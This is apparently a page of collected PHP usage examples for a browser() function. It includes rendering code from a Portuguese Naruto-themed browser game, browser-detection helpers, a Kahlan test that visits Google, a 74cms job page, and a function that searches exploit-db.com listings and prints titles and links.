    //$topnav = "<a href=\"index.php\"><img src=\"images/voltar.gif\" alt=\"Voltar a Jogar\" border=\"0\" title=\"Voltar ao Jogo\" /></a><a href=\"login.php?do=logout\"><img src=\"images/sair.gif\" alt=\"Sair\" title=\"Sair\" border=\"0\" /></a><a href=\"help.php\" target=\"_blank\" ><img src=\"images/ajuda.gif\" alt=\"Ajuda\" title=\"Ajuda\" border=\"0\" /></a>";
    //} else {
    //$topnav = "<a href=\"login.php?do=login\"><img src=\"images/button_login.gif\" alt=\"Log In\" title=\"Log In\" border=\"0\" /></a><brA> <a href=\"users.php?do=register\"><img src=\"images/button_register.gif\" alt=\"Register\" title=\"Register\" border=\"0\" /></a><br> <a href=\"help.php\"><img src=\"images/button_help.gif\" alt=\"Help\" title=\"Help\" target=\"_blank\" border=\"0\" /></a>";
    //}
    //USERROW = false.
    if ($userrow == false) {
        $topnav = "";
        $rightnav = "";
        $leftnav = "";
    }
    if (isset($userrow)) {
        // Get userrow again, in case something has been updated.
        $userquery = doquery("SELECT * FROM {{table}} WHERE id='" . $userrow["id"] . "' LIMIT 1", "users");
        unset($userrow);
        $userrow = mysql_fetch_array($userquery);
        // Current town name.
        if ($userrow["currentaction"] == "In Town") {
            $townquery = doquery("SELECT * FROM {{table}} WHERE latitude='" . $userrow["latitude"] . "' AND longitude='" . $userrow["longitude"] . "' LIMIT 1", "towns");
            $townrow = mysql_fetch_array($townquery);
            $userrow["currenttown"] = "<div id=\"naruto\">Bem-vindo a(o) " . $townrow["name"] . ".</div>";
        } elseif ($userrow["currentaction"] == "Exploring") {
            $userrow["currenttown"] = "<div id=\"naruto\">Voc&ecirc; est&aacute; explorando o mapa.</div>";
        } else {
            $userrow["currenttown"] = "<div id=\"naruto\">Voc&ecirc; est&aacute; em uma batalha.</div>";
        }
        if ($controlrow["forumtype"] == 0) {
            $userrow["forumslink"] = "";
        } elseif ($controlrow["forumtype"] == 1) {
            $userrow["forumslink"] = "<a href=\"forum.php\">Forum</a><br />";
        } elseif ($controlrow["forumtype"] == 2) {
            $userrow["forumslink"] = "<a href=\"" . $controlrow["forumaddress"] . "\">Forum</a><br />";
        }
        // Format various userrow stuffs...
        if ($userrow["latitude"] < 0) {
            $userrow["latitude"] = $userrow["latitude"] * -1 . "S";
        } else {
            $userrow["latitude"] .= "N";
        }
        if ($userrow["longitude"] < 0) {
            $userrow["longitude"] = $userrow["longitude"] * -1 . "W";
        } else {
            $userrow["longitude"] .= "E";
        }
        $userrow["experience"] = number_format($userrow["experience"]);
        $userrow["gold"] = number_format($userrow["gold"]);
        if ($userrow["authlevel"] == 1) {
            $userrow["adminlink"] = "<a href=\"admin.php\">Admin</a><br />";
        } else {
            $userrow["adminlink"] = "";
        }
        // HP/MP/TP bars.
        $stathp = ceil($userrow["currenthp"] / $userrow["maxhp"] * 100);
        if ($userrow["maxmp"] != 0) {
            $statmp = ceil($userrow["currentmp"] / $userrow["maxmp"] * 100);
        } else {
            $statmp = 0;
        }
        $stattp = ceil($userrow["currenttp"] / $userrow["maxtp"] * 100);
        if ($userrow["maxep"] != 0) {
            $statep = ceil($userrow["currentep"] / $userrow["maxep"] * 100);
        } else {
            $statep = 0;
        }
        if ($userrow["maxnp"] != 0) {
            $statnp = ceil($userrow["currentnp"] / $userrow["maxnp"] * 100);
        } else {
            $statnp = 0;
        }
        $stattable = "<table width=\"150\"><tr><td width=\"20%\">\n";
        $stattable .= "<table cellspacing=\"0\" cellpadding=\"0\"><tr><td style=\"padding:0px; width:15px; height:100px; border:solid 1px black; vertical-align:bottom;\">\n";
        if ($stathp >= 66) {
            $stattable .= "<div style=\"padding:0px; height:" . $stathp . "px; border-top:solid 1px black; background-image:url(images/barra_vermelho1.gif);\"><img src=\"images/barra_vermelho1.gif\" title=\"Pontos de Vida\" alt=\"\" /></div>";
        }
        if ($stathp < 66 && $stathp >= 33) {
            $stattable .= "<div style=\"padding:0px; height:" . $stathp . "px; border-top:solid 1px black; background-image:url(images/barra_vermelho2.gif);\"><img src=\"images/barra_vermelho2.gif\" alt=\"\" /></div>";
        }
        if ($stathp < 33) {
            $stattable .= "<div style=\"padding:0px; height:" . $stathp . "px; border-top:solid 1px black; background-image:url(images/barra_vermelho3.gif);\"><img src=\"images/barra_vermelho3.gif\" alt=\"\" /></div>";
        }
        $stattable .= "</td></tr></table></td><td width=\"20%\">\n";
        $stattable .= "<table cellspacing=\"0\" cellpadding=\"0\"><tr><td style=\"padding:0px; width:15px; height:100px; border:solid 1px black; vertical-align:bottom;\">\n";
        if ($statmp >= 66) {
            $stattable .= "<div style=\"padding:0px; height:" . $statmp . "px; border-top:solid 1px black; background-image:url(images/barra_azul1.gif);\"><img src=\"images/barra_azul1.gif\" alt=\"\" /></div>";
        }
        if ($statmp < 66 && $statmp >= 33) {
            $stattable .= "<div style=\"padding:0px; height:" . $statmp . "px; border-top:solid 1px black; background-image:url(images/barra_azul2.gif);\"><img src=\"images/barra_azul2.gif\" alt=\"\" /></div>";
        }
        if ($statmp < 33) {
            $stattable .= "<div style=\"padding:0px; height:" . $statmp . "px; border-top:solid 1px black; background-image:url(images/barra_azul3.gif);\"><img src=\"images/barra_azul3.gif\" alt=\"\" /></div>";
        }
        $stattable .= "</td></tr></table></td><td width=\"20%\">\n";
        $stattable .= "<table cellspacing=\"0\" cellpadding=\"0\"><tr><td style=\"padding:0px; width:15px; height:100px; border:solid 1px black; vertical-align:bottom;\">\n";
        if ($stattp >= 66) {
            $stattable .= "<div style=\"padding:0px; height:" . $stattp . "px; border-top:solid 1px black; background-image:url(images/barra_amarelo1.gif);\"><img src=\"images/barra_amarelo1.gif\" alt=\"\" /></div>";
        }
        if ($stattp < 66 && $stattp >= 33) {
            $stattable .= "<div style=\"padding:0px; height:" . $stattp . "px; border-top:solid 1px black; background-image:url(images/barra_amarelo2.gif);\"><img src=\"images/barra_amarelo2.gif\" alt=\"\" /></div>";
        }
        if ($stattp < 33) {
            $stattable .= "<div style=\"padding:0px; height:" . $stattp . "px; border-top:solid 1px black; background-image:url(images/barra_amarelo3.gif);\"><img src=\"images/barra_amarelo3.gif\" alt=\"\" /></div>";
        }
        $stattable .= "</td></tr></table></td><td width=\"20%\">\n";
        $stattable .= "<table cellspacing=\"0\" cellpadding=\"0\"><tr><td style=\"padding:0px; width:15px; height:100px; border:solid 1px black; vertical-align:bottom;\">\n";
        if ($statnp >= 66) {
            $stattable .= "<div style=\"padding:0px; height:" . $statnp . "px; border-top:solid 1px black; background-image:url(images/barra_verde1.gif);\"><img src=\"images/barra_verde1.gif\" alt=\"\" /></div>";
        }
        if ($statnp < 66 && $statnp >= 33) {
            $stattable .= "<div style=\"padding:0px; height:" . $statnp . "px; border-top:solid 1px black; background-image:url(images/barra_verde2.gif);\"><img src=\"images/barra_verde2.gif\" alt=\"\" /></div>";
        }
        if ($statnp < 33) {
            $stattable .= "<div style=\"padding:0px; height:" . $statnp . "px; border-top:solid 1px black; background-image:url(images/barra_verde3.gif);\"><img src=\"images/barra_verde3.gif\" alt=\"\" /></div>";
        }
        $stattable .= "</td></tr></table></td><td width=\"20%\">\n";
        $stattable .= "<table cellspacing=\"0\" cellpadding=\"0\"><tr><td style=\"padding:0px; width:15px; height:100px; border:solid 1px black; vertical-align:bottom;\">\n";
        if ($statep >= 66) {
            $stattable .= "<div style=\"padding:0px; height:" . $statep . "px; border-top:solid 1px black; background-image:url(images/barra_roxa1.gif);\"><img src=\"images/barra_roxa1.gif\" alt=\"\" /></div>";
        }
        if ($statep < 66 && $statep >= 33) {
            $stattable .= "<div style=\"padding:0px; height:" . $statep . "px; border-top:solid 1px black; background-image:url(images/barra_roxa2.gif);\"><img src=\"images/barra_roxa2.gif\" alt=\"\" /></div>";
        }
        if ($statep < 33) {
            $stattable .= "<div style=\"padding:0px; height:" . $statep . "px; border-top:solid 1px black; background-image:url(images/barra_roxa3.gif);\"><img src=\"images/barra_roxa3.gif\" alt=\"\" /></div>";
        }
        $stattable .= "</td></tr></table></td>\n";
        $stattable .= "</tr><tr><td>HP</td><td>CH</td><td>TP</td><td>NP</td><td>EP</td></tr></table>\n";
        $userrow["statbars"] = $stattable;
        // Now make numbers stand out if they're low.
        if ($userrow["currenthp"] <= $userrow["maxhp"] / 5) {
            $userrow["currenthp"] = "<blink><span class=\"highlight\"><b>*" . $userrow["currenthp"] . "*</b></span></blink>";
        }
        if ($userrow["currentmp"] <= $userrow["maxmp"] / 5) {
            $userrow["currentmp"] = "<blink><span class=\"highlight\"><b>*" . $userrow["currentmp"] . "*</b></span></blink>";
        }
        $spellquery = doquery("SELECT id,name,type FROM {{table}}", "spells");
        $userspells = explode(",", $userrow["spells"]);
        $userrow["magiclist"] = "";
        while ($spellrow = mysql_fetch_array($spellquery)) {
            $spell = false;
            foreach ($userspells as $a => $b) {
                if ($b == $spellrow["id"] && $spellrow["type"] == 1) {
                    $spell = true;
                }
            }
            if ($spell == true) {
                $userrow["magiclist"] .= "<a href=\"index.php?do=spell:" . $spellrow["id"] . "\">" . $spellrow["name"] . "</a><br />";
            }
        }
        if ($userrow["magiclist"] == "") {
            $userrow["magiclist"] = "None";
        }
        //Comandos para os personagens, em cima das cidades.
        $comandospersonagem = "<div id=\"comandosdentro\" style=\"z-index: 3;\"><table border=\"1\" cellspacing=\"0\" cellpadding=\"0\" background=\"images/fundoviajar.png\" style=\"border:1px #000000 solid\"><tr style=\"border:1px #ffefb7 solid\"><td style=\"border:1px #ffefb7 solid\"><a href=\"troca.php?do=troca\"><img src=\"images/24/troca.gif\" title=\"Realizar uma Troca\" border=\"0\"></a></td><td style=\"border:1px #ffefb7 solid\"><a href=\"users.php?do=batalha1\"><img src=\"images/24/duelar.gif\" title=\"Realizar um Duelo\" border=\"0\"></a></td><td style=\"border:1px #ffefb7 solid\"><a href=\"encherhp.php\"><img src=\"images/24/descansar.gif\" title=\"Descansar\" border=\"0\"></a></td><td style=\"border:1px #ffefb7 solid\"><a href=\"javascript:openchatpopup()\"><img src=\"images/24/conversar.gif\" title=\"Abrir Chat Global\" border=\"0\"></a></td><td style=\"border:1px #ffefb7 solid\"><a href=\"javascript: procurarjogador();\"><img src=\"images/24/visualizar.gif\" title=\"Visualizar um Personagem\" border=\"0\"></a></td></tr>";
        //Parte provavelmente VIP?
        $comandospersonagem .= "<tr style=\"border:1px #ffefb7 solid\">";
        $comandospersonagem .= "<td style=\"border:1px #ffefb7 solid\"><a href=\"forum.php?do=msg\" title=\"Abrir o F&oacute;rum In-Game\"><img src=\"images/24/forum.gif\" border=\"0\"></a></td>";
        for ($h = 1; $h <= 4; $h++) {
            $comandospersonagem .= "<td style=\"border:1px #ffefb7 solid\"><img src=\"images/24/gif24.gif\"></td>";
        }
        $comandospersonagem .= "</tr></table></div><br><br>";
        //Qual Browser.
        include 'funcoesinclusas.php';
        $var = browser();
        if ($var == "Internet Explorer (MSIE/Compatible)") {
            $var = "71px";
        } else {
            $var = "77px";
        }
        // Travel To list.
        $townslist = explode(",", $userrow["towns"]);
        $townquery2 = doquery("SELECT * FROM {{table}} ORDER BY id", "towns");
        $userrow["townslist"] = "<div style=\"background-image:url('images/naruto.jpg');background-repeat:no-repeat; background-position: inherit;\"><table><tr><td><div style=\"padding-right: 11px;padding-left: 17px;padding-bottom: {$var}; padding-top: 12px;\" id=\"editar\"><center><table><tr><td height=\"35\" valign=\"middle\"><center>" . $userrow["currenttown"] . "</center></td></tr></table></center></div></td></tr><tr><td><center><div id=\"cidadesfora\">{$comandospersonagem}<div id=\"cidadesdentro\" style=\"z-index: 2; display: block;\"><table border=\"1\" cellspacing=\"0\" cellpadding=\"0\" background=\"images/fundoviajar.png\" style=\"border:1px #000000 solid\"><tr style=\"border:1px #000000 solid\">";
        $quantas = 0;
        while ($townrow2 = mysql_fetch_array($townquery2)) {
            $town = false;
            foreach ($townslist as $a => $b) {
                if ($b == $townrow2["id"]) {
                    $town = true;
                }
            }
            if ($townrow2["id"] % 6 == 0) {
                $userrow["townslist"] .= "</tr><tr style=\"border:1px #ffefb7 solid\">";
            }
            if ($town == true) {
                if ($townrow2['latitude'] < 0) {
                    $lat = $townrow2['latitude'] * -1 . "S";
                } else {
                    $lat = $townrow2['latitude'] . "N";
                }
                if ($townrow2['longitude'] < 0) {
                    $log = $townrow2['longitude'] * -1 . "W";
                } else {
                    $log = $townrow2['longitude'] . "E";
                }
                $userrow["townslist"] .= "<td style=\"border:1px #ffefb7 solid\"><a href=\"index.php?do=gotown:" . $townrow2["id"] . "\"><img src=\"images/24/cidade_" . $townrow2["id"] . ".gif\" title=\"[{$lat},{$log}] " . $townrow2["name"] . " - " . $townrow2['travelpoints'] . " TP\" border=\"0\"></a></td>";
            } else {
                $userrow["townslist"] .= "<td style=\"border:1px #ffefb7 solid\"><img src=\"images/24/cidade_" . $townrow2["id"] . "p.gif\" border=\"0\"></td>";
            }
            $quantas = $townrow2["id"];
        }
        for ($i = $quantas; $i < 10; $i++) {
            $userrow["townslist"] .= "<td style=\"border:1px #ffefb7 solid\" background=\"images/fundocasa.jpg\"><img src=\"images/24/gif24.gif\" border=\"0\"></td>";
        }
        $userrow["townslist"] .= "</tr></table></div></div></center></td></tr></table></div>";
    } else {
        $userrow = array();
    }
    $finalarray = array("dkgamename" => $controlrow["gamename"], "title" => $title, "content" => $content, "rightnav" => parsetemplate($rightnav, $userrow), "leftnav" => parsetemplate($leftnav, $userrow), "topnav" => $topnav, "totaltime" => round(getmicrotime() - $starttime, 4), "numqueries" => $numqueries, "version" => $version, "build" => $build);
    $page = parsetemplate($template, $finalarray);
    $page = $xml . $page;
    if ($controlrow["compression"] == 1) {
        ob_start("ob_gzhandler");
    }
    echo $page;
    die;
}
Ejemplo n.º 13
0
 function isIE()
 {
     if (stristr(browser(), "msie")) {
         return true;
     } else {
         return false;
     }
 }
Ejemplo n.º 14
0
<?php

namespace Testing\Spec\Suite;

describe("Google", function () {
    it("finds the Google logo", function () {
        browser()->visit('http://www.google.fr');
        expect(element('#hplogo'))->not->toBeAnInstanceOf('Testing\\Spec\\Api\\ElementNotFound');
    });
    it("finds Kahlan in the search result", function () {
        browser()->visit('http://www.google.fr');
        page()->fillField('q', 'Unit/BDD PHP Test Framework for Freedom, Truth, and Justice');
        page()->pressButton('btnG');
        wait(page())->toContain('Kahlan');
    });
}, 10);
Ejemplo n.º 15
0
 /**
  * 
  *
  * 
  */
 public function themeCSS($theme = NULL)
 {
     $theme = is_null($theme) ? get("webTheme") : $theme;
     $file = "www/lib/themes/" . $theme . "/css/style.css";
     $browser = browser();
     if ($browser === "Internet Explorer") {
         $style = "www/lib/themes/" . $theme . "/css/ie.style.css";
         if (file_exists($style)) {
             return '<link rel="stylesheet" href="' . $this->themePath . '/css/ie.style.css" type="text/css">';
         }
         return '<link rel="stylesheet" href="' . $this->themePath . '/css/style.css" type="text/css">';
     } else {
         return '<link rel="stylesheet" href="' . $this->themePath . '/css/style.css" type="text/css">';
     }
 }
Ejemplo n.º 16
0
<?php

/*
 * 74cms 职位详细页
 * ============================================================================
 * 版权所有: 骑士网络,并保留所有权利。
 * 网站地址: http://www.74cms.com;
 * ----------------------------------------------------------------------------
 * 这不是一个自由软件!您只能在不用于商业目的的前提下对程序代码进行修改和
 * 使用;不允许对程序代码以任何形式任何目的的再发布。
 * ============================================================================
*/
define('IN_QISHI', true);
$alias = "QS_jobsshow";
require_once dirname(__FILE__) . '/../include/common.inc.php';
if (browser() == "mobile" && $_GET['iswap'] == "") {
    header("location:" . $_CFG['wap_domain'] . '/jobs-show.php?id=' . intval($_GET['id']));
}
if ($mypage['caching'] > 0) {
    $smarty->cache = true;
    $smarty->cache_lifetime = $mypage['caching'];
} else {
    $smarty->cache = false;
}
$cached_id = $alias . (isset($_GET['id']) ? "|" . intval($_GET['id']) % 100 . '|' . intval($_GET['id']) : '') . (isset($_GET['page']) ? "|p" . intval($_GET['page']) % 100 : '');
require_once QISHI_ROOT_PATH . 'include/mysql.class.php';
$db = new mysql($dbhost, $dbuser, $dbpass, $dbname);
unset($dbhost, $dbuser, $dbpass, $dbname);
echo 33;
$mypage['tpl'] = get_tpl("jobs", $_GET['id']) . $mypage['tpl'];
$smarty->display($mypage['tpl'], $cached_id);
Ejemplo n.º 17
0
 public function hashnavigationAction()
 {
     $this->_helper->layout->disableLayout();
     $this->_helper->viewRenderer->setNoRender();
     if (browser() == "msie") {
         header('Location: http://' . $_SERVER['HTTP_HOST'] . "#" . $_SERVER['REQUEST_URI']);
     }
 }
Ejemplo n.º 18
0
function exploitdb($OPT)
{
    echo "\n" . cores("g2") . "[ " . cores("g1") . "EXPLOIT-DB.com " . cores("g2") . "]:: ";
    $resultado = NULL;
    $id_pages = 2;
    if (isset($OPT["author"])) {
        $browser = array("url" => "https://www.exploit-db.com/search/?action=search&e_author=+" . $OPT["author"], "proxy" => $OPT["proxy"], "time" => $OPT["time"]);
    } else {
        $browser = array("url" => "https://www.exploit-db.com/search/?action=search&description={$OPT["find"]}&text=&cve=&e_author=&platform=0&type=0&lang_id=0&port=&osvdb=", "proxy" => $OPT["proxy"], "time" => $OPT["time"]);
    }
    $resultado = browser($browser);
    if ($resultado["http_code"] > 307 or $resultado["http_code"] == 0) {
        echo cores("g2") . "Retrying... ";
        $resultado = browser($browser);
    }
    if ($resultado["http_code"] > 307 or $resultado["http_code"] == 0) {
        echo cores("r") . "Error with the connection...\n\n" . cores("g2");
        goto saida;
    }
    if (preg_match('/No results/i', $resultado["file"]) or empty($resultado["file"])) {
        echo cores("r") . "NOT FOUND\n" . cores("g2");
    } else {
        echo cores("g") . "FOUND\n" . cores("g2") . "+-----------------------------------------------------------------------------.\n|\n";
        while ($id_pages < 100) {
            $id_info = 0;
            preg_match_all('#<a href="https://www.exploit-db.com/exploits/(.*?)/">(.*?)</a>#', $resultado["file"], $a, PREG_SET_ORDER);
            while ($id_info < count($a)) {
                echo cores("g2") . "| " . cores("g1") . "NAME:: " . cores("b") . "" . htmlspecialchars_decode($a[$id_info][2]) . "\n";
                echo cores("g2") . "| " . cores("g1") . "LINK:: " . cores("b") . "https://www.exploit-db.com/exploits/{$a[$id_info][1]}/" . cores("g2") . "\n" . cores("g2");
                $save["title"] = htmlspecialchars_decode($a[$id_info][2]);
                $save["url"] = "https://www.exploit-db.com/exploits/{$a[$id_info][1]}/";
                $save = array_merge($OPT, $save);
                if ($OPT["save"] == 1) {
                    echo save($save);
                } else {
                    echo "|\n";
                }
                if ($OPT["save-log"] == 1) {
                    echo save_log($save);
                }
                $id_info++;
            }
            if (preg_match('/>next<\\/a>/i', $resultado["file"])) {
                $browser["url"] = "https://www.exploit-db.com/search/?action=search&description={$OPT["find"]}&pg={$id_pages}&text=&cve=&e_author=&platform=0&type=0&lang_id=0&port=&osvdb=";
                $resultado = browser($browser);
            } else {
                goto fim_;
            }
            $id_pages++;
        }
        fim_:
        echo cores("g2") . "'-----------------------------------------------------------------------------'\n";
    }
    saida:
}
Ejemplo n.º 19
0
/**
 * Gets the browser page.
 *
 * @param  string          $session The session name.
 * @return DocumentElement
 */
function page($session = null)
{
    return browser($session)->getPage();
}